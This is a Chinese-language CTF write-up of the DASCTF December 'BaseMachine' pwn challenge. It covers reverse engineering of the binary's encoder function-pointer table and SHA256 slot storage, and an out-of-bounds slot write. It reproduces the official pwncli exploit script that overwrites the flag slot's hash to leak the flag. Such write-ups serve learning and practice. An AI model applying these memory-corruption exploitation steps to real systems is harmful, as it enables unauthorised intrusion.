DASCTF12 月赛复现

前言

本次 DASCTF 12 月赛尝试了 pwn 方向的两道题目,最终还是如愿以偿的爆零了。首先看到题目我就有种陌生的感觉,给定程序是去掉调试符号的,并且有多个函数,大大降低了可读性,和我先前遇见的题目有不小的区别。

BaseMachine

checksec

保护全开

逆向分析

main

读入 ./flag 后传入 sub_3990,图中的乱码是表情,是 IDA 的编码问题。后面是循环读入用户输入,同样传入 sub_3990

进入 sub_3990 继续分析:

v9

根据传入的参数 a1, a2 决定程序后续流程,具体是编码类型 (base64, base85...)。

有意思的是,程序将字符串的加解密流程放在在 _data ,即数据段中。

1
v10 = ((__int64 (__fastcall *)(char *, const char *))*(&off_7260 + v8))(s, a3);
1
2
3
4
5
6
7
8
9
10
.data:0000000000007260 off_7260        dq offset sub_1D6A      ; DATA XREF: sub_3990+155↑o
.data:0000000000007260 ; sub_3990+1C8↑o
.data:0000000000007268 dq offset sub_1ED6
.data:0000000000007270 dq offset sub_22B2
.data:0000000000007278 dq offset sub_27D4
.data:0000000000007280 dq offset sub_2B94
.data:0000000000007288 dq offset sub_2E17
.data:0000000000007290 dq offset sub_3498
.data:0000000000007290 _data ends
.data:0000000000007290

这涉及到 C 语言中函数指针的概念:

函数指针是一个指向函数的指针变量,如:

1
int (*p)(int x, int  y);

具有两个整型参数,返回值是整型。

如下代码实现了通过函数指针调用函数:

1
2
3
4
5
6
7
int maxValue (int a, int b) {
return a > b ? a : b;
}

int (*p)(int, int) = NULL;
p = maxValue;
p(1, 2);

而题目程序中就是通过类似这样的函数指针数组实现的。

接着,根据与 unk_73C0 中的数据比较这一功能可以(应该?)推测是在计算哈希

wp中指出这是在计算SHA256

如果没有找到相同的,就使用新的槽位:

选择最先或未使用的槽位,覆盖该槽位存储的数据

存、读取哈希和密文部分:

解密、输出部分:

是否输出由传入参数a4决定

Vulnerabilities

unk_73C0 读写有关的函数 sub_37A4 中存在溢出漏洞

数组只能储存0-5
unk_73c0将编码类型和明文写入对应位置

攻击流程

以下为官方 wp 思路。

寻找具有 'b85' 开头 SHA256 值的字符串,将 flag 槽位上的哈希修改为这个值。具体实现如下(来自官方 wp):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
addr = ''
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./BaseMachine')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./BaseMachine')
cmd = '''
c
'''


for i in range(3):
sla("🫠🫠🫠", 'plain b64 ' + str(i))

launch_gdb(cmd)
sla("🫠🫠🫠", b'plain b85 ' + b'aaaa' * 10 + b'a')
ru("😍😍😍 ")
data = ru(b'\n', drop=True)
pad1 = data[0:5]
pad2 = data[-5:]

# Match found! String: 6eU, SHA-256: b8509ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888

for i in range(1, 8):
sla("🫠🫠🫠", b'b85 plain ' + b'09ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888aaaa' + pad1 * i + pad2 + pad1 * (10 - i))

sla("🫠🫠🫠", b'plain b64 6eU')
ru("😍😍😍 ")
flag = ru(b'\n', drop=True)
sla("🫠🫠🫠", b'b64 plain ' + flag)

ia()

总结

这题的作者可见对编码非常熟悉,目前我还没有对 base 系列有一个太清晰的了解。最多知道它大概的原理,或者仿写加解密的代码之类的。以后有空我会尝试手搓一下各种 base 的加解密的(之前接触 base 是 hgame-mini 2024 上的一道逆向题 ——base emoji)。另外对代码的阅读能力也有待提升。